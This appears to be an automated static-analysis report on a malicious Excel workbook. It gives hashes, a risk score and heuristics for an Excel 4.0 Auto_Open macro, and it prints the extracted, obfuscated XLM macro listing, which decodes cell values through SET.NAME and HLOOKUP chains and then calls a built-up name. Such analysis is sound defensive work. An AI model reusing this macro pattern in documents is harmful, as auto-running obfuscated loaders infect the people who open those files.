Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 913db1c4d07cd10e…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:33 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 1a62412f27eea6626a8b2821a1f53abe SHA-1: a0f864a820ed336ed1a75a0fecbcabd3ecda6cbf SHA-256: 913db1c4d07cd10e5ad1381b5b9d9ca1ef377c1c23f363a169b587576d2b66f5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6584 bytes
SHA-256: a53b618f0978a256e7ae75655e97187a9ab45b77c1f582dd24fc1995390e6ba7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HEav
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F163 
' 0018     20 LABEL : Cell Value, String Constant - bJlJO len=0 
' 0018     25 LABEL : Cell Value, String Constant - CTwVVESVIU len=0 
' 0018     23 LABEL : Cell Value, String Constant - DeDcGaHa len=0 
' 0018     27 LABEL : Cell Value, String Constant - GFUThCkPcVyX len=0 
' 0018     23 LABEL : Cell Value, String Constant - gWNqEKIt len=0 
' 0018     23 LABEL : Cell Value, String Constant - HKKREekg len=0 
' 0018     27 LABEL : Cell Value, String Constant - HwSdVUCenhAy len=0 
' 0018     22 LABEL : Cell Value, String Constant - HzuEYyc len=0 
' 0018     20 LABEL : Cell Value, String Constant - ihSRU len=0 
' 0018     21 LABEL : Cell Value, String Constant - LNvDZS len=0 
' 0018     24 LABEL : Cell Value, String Constant - lvxJncSNn len=0 
' 0018     24 LABEL : Cell Value, String Constant - MxdFOxkIx len=0 
' 0018     20 LABEL : Cell Value, String Constant - qfGqw len=0 
' 0018     22 LABEL : Cell Value, String Constant - SYUVvzR len=0 
' 0018     26 LABEL : Cell Value, String Constant - tkuWusrxIFv len=0 
' 0018     22 LABEL : Cell Value, String Constant - unBlJNB len=0 
' 0018     21 LABEL : Cell Value, String Constant - VWGrpY len=0 
' 0018     26 LABEL : Cell Value, String Constant - WbIpEGGFnhq len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZnOUDWZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZrBUqGBjgWzg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HEav,S41,"",720.00000000000000000000
'  HEav,S42,"",-809.00000000000000000000
'  HEav,S43,"",-121.00000000000000000000
'  HEav,S44,"",-570.00000000000000000000
'  HEav,S45,"",-207.00000000000000000000
'  HEav,S46,"",507.00000000000000000000
'  HEav,F72,"SET.NAME("LNvDZS",0+VALUE("0"))",""
'  HEav,F75,"SET.NAME("MxdFOxkIx",LNvDZS)",""
'  HEav,F79,"SET.NAME("HKKREekg",LNvDZS)",""
'  HEav,F84,"SET.NAME("lvxJncSNn",COUNTA(VWGrpY))",""
'  HEav,F88,"SET.NAME("SYUVvzR",COUNTA(GFUThCkPcVyX))",""
'  HEav,F91,[],""
'  HEav,F96,"SET.NAME("DeDcGaHa","")",""
'  HEav,F98,"MxdFOxkIx",""
'  HEav,F102,"SET.NAME("ZnOUDWZ",HLOOKUP("*",VWGrpY,MxdFOxkIx,FALSE))",""
'  HEav,F104,"bJlJO",""
'  HEav,F108,"SET.NAME("WbIpEGGFnhq",LNvDZS)",""
'  HEav,F112,[],""
'  HEav,F117,"WbIpEGGFnhq",""
'  HEav,F121,"HzuEYyc",""
'  HEav,F124,"ihSRU",""
'  HEav,F126,"gWNqEKIt",""
'  HEav,F128,"SET.NAME("qfGqw",VALUE(HLOOKUP("*",GFUThCkPcVyX,gWNqEKIt,FALSE)))",""
'  HEav,F133,"ZrBUqGBjgWzg",""
'  HEav,F135,"DeDcGaHa",""
'  HEav,F137,"HKKREekg",""
'  HEav,F141,NEXT(),""
'  HEav,F143,"tkuWusrxIFv",""
'  HEav,F148,[],""
'  HEav,F152,"CTwVVESVIU",""
'  HEav,F156,NEXT(),""
'  HEav,F159,RETURN(),""
'  HEav,F192,"SET.NAME("HwSdVUCenhAy",F72)",""
'  HEav,F194,"VWGrpY",""
'  HEav,F196,"SET.NAME("GFUThCkPcVyX",R43C13)",""
'  HEav,F199,"SET.NAME("CTwVVESVIU",208)",""
'  HEav,F202,"SET.NAME("unBlJNB",6)",""
'  HEav,F207,HwSdVUCenhAy(),""
'  HEav,F208,HALT(),""

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